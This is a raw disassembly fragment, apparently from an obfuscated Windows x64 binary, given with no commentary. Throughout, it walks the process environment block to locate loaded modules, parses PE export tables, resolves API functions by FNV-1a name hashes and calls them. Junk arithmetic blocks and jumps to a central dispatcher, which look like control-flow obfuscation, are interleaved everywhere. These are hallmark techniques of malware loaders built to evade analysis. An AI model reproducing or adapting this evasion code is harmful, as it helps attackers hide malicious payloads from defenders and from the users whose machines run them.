mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
mov r9d, dword [r12]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call r10
mov dword [rsp + 0x78], Ordinal_41
mov edx, dword [r12]
mov dword [rsp + 0x7c], edx
mov eax, dword [r13]
neg eax
mov dword [rsp + 0x80], eax
mov edi, 0x81d70c3c
pushf
not edi
add edi, 0xf650ef30
xor edi, 0x800b86dc
rol edi, 0xc6
popf
pushf
not edi
add edi, 0xc29a2a89
xor edi, 0xabb6bc45
rol edi, 0x9f
popf
pushf
not edi
add edi, 0xd132b386
xor edi, 0xca16e21e
rol edi, 0xa
popf
mov qword [rsp + 0x84], 0x200001
mov qword [rsp + 0x8c], r15
mov qword [rsp + 0x94], r15
mov dword [rsp + 0x9c], r15d
imul edx, dword [r13]
shl edx, 2
movsxd rsi, edx
mov r12, qword [rsp + 0x58]
mov qword [r12], r15
mov qword [r12 + 8], r15
mov qword [r12 + 0x10], r15
test edx, edx
je 0x140446fa1
push rax
pushf
mov eax, 0x7544822f
pushf
not eax
add eax, 0xabb73b5f
xor eax, 0x8bd867b0
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x964cafe0
xor eax, 0xa6e58838
rol eax, 0x94
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc15dfea8
pushf
not eax
add eax, 0xcca18008
xor eax, 0xa545ed95
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf65be76c
xor eax, 0xbbe8f47e
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x82a1d8b1
xor eax, 0x9a4af5f2
rol eax, 0xd1
popf
jmp 0x14044405f
cmp rsi, 0x1000
jb 0x140447131
push rax
pushf
mov eax, 0x4a2be292
pushf
not eax
add eax, 0xe30d7e3d
xor eax, 0x8fd3eceb
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xc57b26e7
xor eax, 0xa214e854
rol eax, 0x45
popf
pushf
not eax
add eax, 0x94ce3bb7
xor eax, 0x821580ef
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xd26f2c4d
xor eax, 0x9a16f00b
rol eax, 0x19
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x1809ecaa
pushf
not eax
add eax, 0xdb16ab06
xor eax, 0x828f9926
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xce5dc163
xor eax, 0xfd739a20
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xfd0ba293
xor eax, 0x806c7291
rol eax, 0xe3
popf
jmp 0x14044405f
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x1404471dd
push rax
pushf
mov eax, 0x37187b50
pushf
not eax
add eax, 0x94907c0a
xor eax, 0xc0fb282f
rol eax, 0x64
popf
pushf
not eax
add eax, 0x8040d812
xor eax, 0xaf18e0a1
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xa8304e4a
xor eax, 0xb5c6792d
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xa1a2b1ed
xor eax, 0xc0142097
rol eax, 0x99
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x6692040
pushf
not eax
add eax, 0xd177324d
xor eax, 0xc91f6e20
rol eax, 0x27
popf
pushf
not eax
add eax, 0xb5f81412
xor eax, 0x8539fe14
rol eax, 0x45
popf
jmp 0x14044405f
call fcn.140420f62
test rax, rax
je 0x14044724d
push rax
pushf
mov eax, 0x9dc00554
pushf
not eax
add eax, 0xc068e7f1
xor eax, 0xce3ce3b0
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9f71f9a4
xor eax, 0xc268b991
rol eax, 0x2a
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x5a30d934
pushf
not eax
add eax, 0xd9011a04
xor eax, 0x8911bd61
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x9077e2b8
xor eax, 0xc7c48cbd
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf585ac87
xor eax, 0xbaeadefc
rol eax, 0x91
popf
jmp 0x14044405f
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x1404473af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140420f62
mov rcx, rax
push rax
pushf
mov eax, 0x1e386bb5
pushf
not eax
add eax, 0xb23a3946
xor eax, 0x9e821038
rol eax, 0x97
popf
pushf
not eax
add eax, 0xa7dcf0d8
xor eax, 0xa05a84cc
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xce177acc
xor eax, 0xb599c692
rol eax, 0x64
popf
pushf
not eax
add eax, 0x9e0b41ac
xor eax, 0x8bd67e6c
rol eax, 0x98
popf
jmp 0x14044405f
mov qword [r12], rcx
lea rax, [rcx + rsi]
mov qword [r12 + 0x10], rax
lea rbx, [rcx + rsi]
mov r8, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 8], rbx
push rax
pushf
mov eax, 0x72ced8ee
pushf
not eax
add eax, 0xc6d7caa7
xor eax, 0xca3424bd
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xbb512e33
xor eax, 0xc56596b4
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x986b7e9b
xor eax, 0xc17f8c41
rol eax, 0xcf
popf
jmp 0x14044405f
mov dword [rsp + 0x50], edi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x119985a6
pushf
not eax
add eax, 0x88c28db3
xor eax, 0xebb4dcb0
rol eax, 0x68
popf
pushf
not eax
add eax, 0xab773b41
xor eax, 0xb2f7c493
rol eax, 0x82
popf
pushf
not eax
add eax, 0x83819d74
xor eax, 0xf798319b
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xb1e4639b
xor eax, 0x9daa9d90
rol eax, 0x1e
popf
jmp 0x14044405f
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x1404474e1
push rax
pushf
mov eax, 0x6fcd7d69
pushf
not eax
add eax, 0xa629a18a
xor eax, 0xf027aae0
rol eax, 0x38
popf
pushf
not eax
add eax, 0xc1513600
xor eax, 0x888aba73
rol eax, 0xa5
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x8c4d973f
pushf
not eax
add eax, 0x8c6ed661
xor eax, 0xd35fd2da
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xdecaf34b
xor eax, 0xa6dc3f8d
rol eax, 0x99
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140447576
push rax
pushf
mov eax, 0x5d7cb819
pushf
not eax
add eax, 0xc53367ce
xor eax, 0xf5aad38b
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa04e82c9
xor eax, 0xef91675c
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf7dbae6d
xor eax, 0xe258833c
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xe82610e5
xor eax, 0x8c475cc2
rol eax, 0x40
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xe662d6e7
pushf
not eax
add eax, 0xcfff962c
xor eax, 0xd9d96892
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xfc242df5
xor eax, 0xe1c6b091
rol eax, 0xca
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xd9cbc87a
pushf
not eax
add eax, 0xdfa5181e
xor eax, 0x86e23447
rol eax, 0x84
popf
pushf
not eax
add eax, 0xda343ede
xor eax, 0xa67ca915
rol eax, 0x19
popf
jmp 0x14044405f
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
mov r8d, 0x3526b010
pushf
not r8d
add r8d, 0xb11f6542
xor r8d, 0xe8ed0628
rol r8d, 0x42
popf
pushf
not r8d
add r8d, 0xdecb0ef1
xor r8d, 0xfa390c31
rol r8d, 0x33
popf
pushf
not r8d
add r8d, 0xd3cdae5f
xor r8d, 0xcec9093e
rol r8d, 0x1c
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1404476b7
push rax
pushf
mov eax, 0xa377af2b
pushf
not eax
add eax, 0x9ed63065
xor eax, 0xc100000d
rol eax, 0xed
popf
pushf
not eax
add eax, 0x850df2e8
xor eax, 0xc52f6eef
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xd55008f1
xor eax, 0xd9f0dc9a
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb71bf7ea
xor eax, 0xe1634444
rol eax, 0x43
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x27d671e2
pushf
not eax
add eax, 0xa10de4cc
xor eax, 0xfb5d0bbc
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xebecd0c8
xor eax, 0x9cc37c7a
rol eax, 0x56
popf
jmp 0x14044405f
nop dword [rax]
push rax
pushf
mov eax, 0x1006a871
pushf
not eax
add eax, 0xd944e336
xor eax, 0x807a4df9
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xfdc8352a
xor eax, 0xefd1ced3
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xae1ecb50
xor eax, 0xb0e3f315
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x9556a51e
xor eax, 0xbe1cacbc
rol eax, 0xce
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140447791
push rax
pushf
mov eax, 0xb4ff7a8a
pushf
not eax
add eax, 0xe1da1b70
xor eax, 0xe363f6f7
rol eax, 0x22
popf
pushf
not eax
add eax, 0xcf1c8bae
xor eax, 0x916f3362
rol eax, 0x6e
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xb1ad5e6c
pushf
not eax
add eax, 0xa7e24d5a
xor eax, 0xa7250542
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xa76a4fa9
xor eax, 0xb25390ee
rol eax, 0x53
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140447891
push rax
pushf
mov eax, 0x5b27eb8d
pushf
not eax
add eax, 0xd67690e3
xor eax, 0xe059df55
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xe2b7881b
xor eax, 0xe04a4a32
rol eax, 0x36
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc20ca7af
pushf
not eax
add eax, 0xe4955513
xor eax, 0xc73832bc
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x960f4d40
xor eax, 0x96b2c841
rol eax, 0x50
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x14044748b
mov ecx, dword [rdi + 0x24]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r11
not r11
sub rcx, r11
pop r11
sub rcx, 1
mov r10d, dword [rcx + rdx*4]
push r11
not r11
sub r10, r11
pop r11
sub r10, 1
mov dword [rsp + 0x30], r15d
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [r12]
mov qword [rsp + 0x20], rax
mov r9d, dword [r13]
xor r8d, r8d
mov rdx, r14
mov r12, qword [rsp + 0x60]
mov rcx, r12
call r10
mov r13, qword [rsp + 0x58]
test rsi, rsi
jle 0x1404479ee
push rax
pushf
mov eax, 0x4e4af118
pushf
not eax
add eax, 0x8d5c0f56
xor eax, 0x832147d2
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xb0047b38
xor eax, 0xcde9e1f4
rol eax, 0xba
popf
pushf
not eax
add eax, 0xb0891221
xor eax, 0xd5c32a25
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xbfbc64d8
xor eax, 0x84423be7
rol eax, 0x82
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xdd402cf0
pushf
not eax
add eax, 0xc61110dd
xor eax, 0x8a06682b
rol eax, 0x90
popf
pushf
not eax
add eax, 0xc71e6efe
xor eax, 0x83570c27
rol eax, 0xc7
popf
jmp 0x14044405f
mov rdx, qword [r13]
push r15
not r15
sub rdx, r15
pop r15
sub rdx, 1
movzx ecx, byte [rdx]
movzx eax, byte [rdx + 2]
mov byte [rdx], al
mov byte [rdx + 2], cl
add r15, 4
cmp r15, rsi
jl 0x140447ac7
push rax
pushf
mov eax, 0x581bee
pushf
not eax
add eax, 0xb0a75b26
xor eax, 0xdc21b35a
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xf3636cc5
xor eax, 0xbf924969
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xfac280ae
xor eax, 0xfcaf7a09
rol eax, 0x4b
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x3f836233
pushf
not eax
add eax, 0xaefaf066
xor eax, 0xb6ff1b12
rol eax, 0x62
popf
pushf
not eax
add eax, 0xc9c058a3
xor eax, 0xab41b586
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xe7806e71
xor eax, 0xcce9578d
rol eax, 0x85
popf
pushf
not eax
add eax, 0xaa9a45cc
xor eax, 0xe5edaa7b
rol eax, 0xcd
popf
jmp 0x14044405f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
push rax
pushf
mov eax, 0xaa7ff35d
pushf
not eax
add eax, 0xfaad0aee
xor eax, 0xdc42f60e
rol eax, 0x57
popf
pushf
not eax
add eax, 0xd281a5d0
xor eax, 0xae8ebc48
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xc84af219
xor eax, 0xdf977779
rol eax, 0x33
popf
pushf
not eax
add eax, 0xb5e24d80
xor eax, 0xfacec344
rol eax, 0x48
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140447bf6
push rax
pushf
mov eax, 0x33a568ef
pushf
not eax
add eax, 0x877e1c5d
xor eax, 0x8071827b
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x9f329fc4
xor eax, 0x8174c33f
rol eax, 0x58
popf
pushf
not eax
add eax, 0xe0c9785a
xor eax, 0xc6f490ef
rol eax, 0x5b
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xdf56fea9
pushf
not eax
add eax, 0x8cf83a6d
xor eax, 0xaa51914b
rol eax, 0xad
popf
pushf
not eax
add eax, 0xde4ee456
xor eax, 0xc969e357
rol eax, 0x8e
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x995da30f
pushf
not eax
add eax, 0xfa901f89
xor eax, 0xfb5d9d72
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xd853cd56
xor eax, 0xf806580d
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd0e6c01b
xor eax, 0xde14c307
rol eax, 0x21
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0xc493f4dd
pushf
not r8d
add r8d, 0xa24d2ec8
xor r8d, 0xff52bb69
rol r8d, 0x46
popf
pushf
not r8d
add r8d, 0xafd79bea
xor r8d, 0x8d5ef308
rol r8d, 0x79
popf
pushf
not r8d
add r8d, 0xc216c301
xor r8d, 0xbcd5cb73
rol r8d, 0xf4
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140447dba
push rax
pushf
mov eax, 0x277ec4b8
pushf
not eax
add eax, 0xa46b20cd
xor eax, 0xcbe5b62a
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x9220ce35
xor eax, 0x9d0762b0
rol eax, 0xb4
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x6fca3f1
pushf
not eax
add eax, 0xf88db5c8
xor eax, 0xb635489a
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc20a3ac8
xor eax, 0xd808875d
rol eax, 0x71
popf
pushf
not eax
add eax, 0xecd1f7f3
xor eax, 0xcbdabf3d
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xd96819b8
xor eax, 0xccc4232a
rol eax, 0x27
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140447e73
push rax
pushf
mov eax, 0x153b4d9
pushf
not eax
add eax, 0xc031093d
xor eax, 0xb48fe796
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xe2b6cea6
xor eax, 0xb0b26159
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xb086f574
xor eax, 0xaef070cc
rol eax, 0x11
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xd308ec30
pushf
not eax
add eax, 0xf0f622f4
xor eax, 0xb5e42c73
rol eax, 0x30
popf
pushf
not eax
add eax, 0xed4c5638
xor eax, 0xd298be2e
rol eax, 0x55
popf
jmp 0x14044405f
cmp r8d, 0x69545360
je 0x140447ef5
push rax
pushf
mov eax, 0xdacff3a2
pushf
not eax
add eax, 0xc3fee35e
xor eax, 0x8d99974e
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xef88c003
xor eax, 0xb497df00
rol eax, 0x12
popf
pushf
not eax
add eax, 0xf3c45c43
xor eax, 0x959b21bb
rol eax, 0xdf
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x18853797
pushf
not eax
add eax, 0xc8abc1ba
xor eax, 0xa6f73cb5
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb0aa1673
xor eax, 0xcdcfeca0
rol eax, 0x79
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140447f86
push rax
pushf
mov eax, 0x73823851
pushf
not eax
add eax, 0xa702314d
xor eax, 0xc22a615b
rol eax, 0x62
popf
pushf
not eax
add eax, 0xe72fb281
xor eax, 0xdf78b31f
rol eax, 0x39
popf
pushf
not eax
add eax, 0xe4677612
xor eax, 0xd72d6526
rol eax, 0x80
popf
pushf
not eax
add eax, 0x8e078c1f
xor eax, 0xc40a3518
rol eax, 0x8f
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xa046c628
pushf
not eax
add eax, 0x897e6ce1
xor eax, 0xbfefdeae
rol eax, 0x13
popf
pushf
not eax
add eax, 0xa2aab53c
xor eax, 0xaf41d016
rol eax, 0x37
popf
pushf
not eax
add eax, 0xe0639ca0
xor eax, 0xa93c8188
rol eax, 0xb7
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140447b8d
mov ecx, dword [rdi + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
mov rdx, rbp
mov rcx, r12
jmp 0x140448059
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xac6665c7
pushf
not eax
add eax, 0xf127bda5
xor eax, 0xdd4034f8
rol eax, 0x21
popf
pushf
not eax
add eax, 0xf99436d7
xor eax, 0x8b4c9814
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xc6c06eaf
xor eax, 0xd270c70e
rol eax, 0xbf
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140448133
push rax
pushf
mov eax, 0x5ca6029
pushf
not eax
add eax, 0x8206ac2a
xor eax, 0xc2b532c2
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x8066430c
xor eax, 0xfc12b0e9
rol eax, 0x18
popf
pushf
not eax
add eax, 0xba68f141
xor eax, 0xda2c2472
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x90eed877
xor eax, 0x914718f5
rol eax, 0x5a
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xcb5c46e5
pushf
not eax
add eax, 0xcf96face
xor eax, 0xa8ed0371
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xce82133f
xor eax, 0xe25bb3c9
rol eax, 0x7a
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1404481a2
push rax
pushf
mov eax, 0x4612f51e
pushf
not eax
add eax, 0xff085169
xor eax, 0xc13ec1cd
rol eax, 3
popf
pushf
not eax
add eax, 0xe393e57a
xor eax, 0x9536f90a
rol eax, 0xa1
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x5e2a4b6a
pushf
not eax
add eax, 0xd797e6bd
xor eax, 0xc8f8520f
rol eax, 0x30
popf
pushf
not eax
add eax, 0xdd656219
xor eax, 0xc69c85a3
rol eax, 0x48
popf
pushf
not eax
add eax, 0xf673de25
xor eax, 0xa0126761
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xa0d3722e
xor eax, 0xa33d08f4
rol eax, 0xdb
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x44ded5be
pushf
not eax
add eax, 0xe424568f
xor eax, 0xfd8b8d73
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xa52c230c
xor eax, 0xda15b29d
rol eax, 0xa5
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x305e1776
pushf
not r8d
add r8d, 0xe3cf8afc
xor r8d, 0xe9d47b6e
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xc572a608
xor r8d, 0x8ecce58c
rol r8d, 0x6e
popf
pushf
not r8d
add r8d, 0xb6b223ab
xor r8d, 0x9610f900
rol r8d, 0xd3
popf
pushf
not r8d
add r8d, 0xcab2f963
xor r8d, 0xd6203ae2
rol r8d, 0xd2
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140448310
push rax
pushf
mov eax, 0xf8898819
pushf
not eax
add eax, 0x9b413363
xor eax, 0xcebfa3f7
rol eax, 0x80
popf
pushf
not eax
add eax, 0xecbdf46b
xor eax, 0x838fd522
rol eax, 0x35
popf
pushf
not eax
add eax, 0xe8691295
xor eax, 0xbaa8ab4c
rol eax, 0xa6
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x49e1b0c5
pushf
not eax
add eax, 0xb124cd00
xor eax, 0x993348ac
rol eax, 0x67
popf
pushf
not eax
add eax, 0x8409c84d
xor eax, 0xb6bc5cb4
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xd14f6574
xor eax, 0xdbc35b8c
rol eax, 0xb6
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0x4694c3cb
pushf
not eax
add eax, 0xbc981489
xor eax, 0xdf4410f1
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xfec2e974
xor eax, 0xd3fc936b
rol eax, 2
popf
pushf
not eax
add eax, 0x82d428ab
xor eax, 0x9a2b4a31
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb5f45a20
xor eax, 0xf2e8bb36
rol eax, 0x7d
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1404483fc
push rax
pushf
mov eax, 0x769d6b4a
pushf
not eax
add eax, 0xa1b25f71
xor eax, 0x9e3e6bc9
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xa0be5497
xor eax, 0x85f3ac9b
rol eax, 0xc9
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x7ccff3da
pushf
not eax
add eax, 0x94c02fee
xor eax, 0x8a80b294
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x8562b34d
xor eax, 0xc55319ac
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xc2d14ed0
xor eax, 0xf997f192
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xfe99a227
xor eax, 0xb53eb33a
rol eax, 0xd6
popf
jmp 0x14044405f
cmp r8d, 0x54e7c87d
je 0x1404484a4
push rax
pushf
mov eax, 0xba18b92b
pushf
not eax
add eax, 0xd62ba2d2
xor eax, 0xa39b3eb1
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xc667b066
xor eax, 0xed90d465
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xf33db4b0
xor eax, 0x8fbb0862
rol eax, 0xae
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x8fa34e55
pushf
not eax
add eax, 0x9a5bfacb
xor eax, 0xb4929d81
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x9caea0f3
xor eax, 0x9248e82d
rol eax, 0x34
popf
pushf
not eax
add eax, 0xd5d31e4a
xor eax, 0x96601da3
rol eax, 0x20
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140448522
push rax
pushf
mov eax, 0xadcf78ad
pushf
not eax
add eax, 0x8aa66941
xor eax, 0x93f2372e
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9d51b77e
xor eax, 0xf36d1f3a
rol eax, 0xfe
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x3a87c7f0
pushf
not eax
add eax, 0xae5a1b1a
xor eax, 0xa9228a8e
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc30ebbbc
xor eax, 0xa0024e5b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xe9ba774c
xor eax, 0xcca52ef1
rol eax, 0xe5
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x1404480b7
mov ecx, dword [rdi + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
mov rcx, r14
jmp 0x140448605
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x27fe6fb2
pushf
not eax
add eax, 0xf4db9c2b
xor eax, 0xdc54c3f4
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc04971c6
xor eax, 0x94ad8e83
rol eax, 0x80
popf
pushf
not eax
add eax, 0xba18563d
xor eax, 0xe6fa7cd6
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xcaf1be94
xor eax, 0x9621af2c
rol eax, 0xbb
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x1404486e2
push rax
pushf
mov eax, 0x763b8eee
pushf
not eax
add eax, 0xf76ef8b7
xor eax, 0xa761258d
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x91b41b44
xor eax, 0xb60d8488
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xd0853e1f
xor eax, 0xc7fad3e4
rol eax, 0xd5
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xf319e50b
pushf
not eax
add eax, 0xb8359fa1
xor eax, 0xc5bfea33
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x9198e057
xor eax, 0x83f9d684
rol eax, 0x28
popf
pushf
not eax
add eax, 0x95051c7b
xor eax, 0xd8ce9c00
rol eax, 0xfc
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14044878a
push rax
pushf
mov eax, 0x5cb197d
pushf
not eax
add eax, 0xd5f41a27
xor eax, 0xb3ab47a5
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x8103925c
xor eax, 0xdad73c13
rol eax, 0x54
popf
pushf
not eax
add eax, 0xcb73bd50
xor eax, 0xba21a388
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xb192348f
xor eax, 0x9b49576c
rol eax, 0x81
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x4e7a4440
pushf
not eax
add eax, 0x827865cd
xor eax, 0x883b356c
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xda406ee1
xor eax, 0xc2c7f0c4
rol eax, 0xb9
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x3e1adb7
pushf
not eax
add eax, 0x850e34b7
xor eax, 0xf00040e8
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xed655d8b
xor eax, 0x9ea07743
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xde4dca54
xor eax, 0xa5e61cab
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xb289f966
xor eax, 0xa8a5b5cb
rol eax, 0
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0xebd1bed1
pushf
not r8d
add r8d, 0x96370ab6
xor r8d, 0x8bde1005
rol r8d, 0x6f
popf
pushf
not r8d
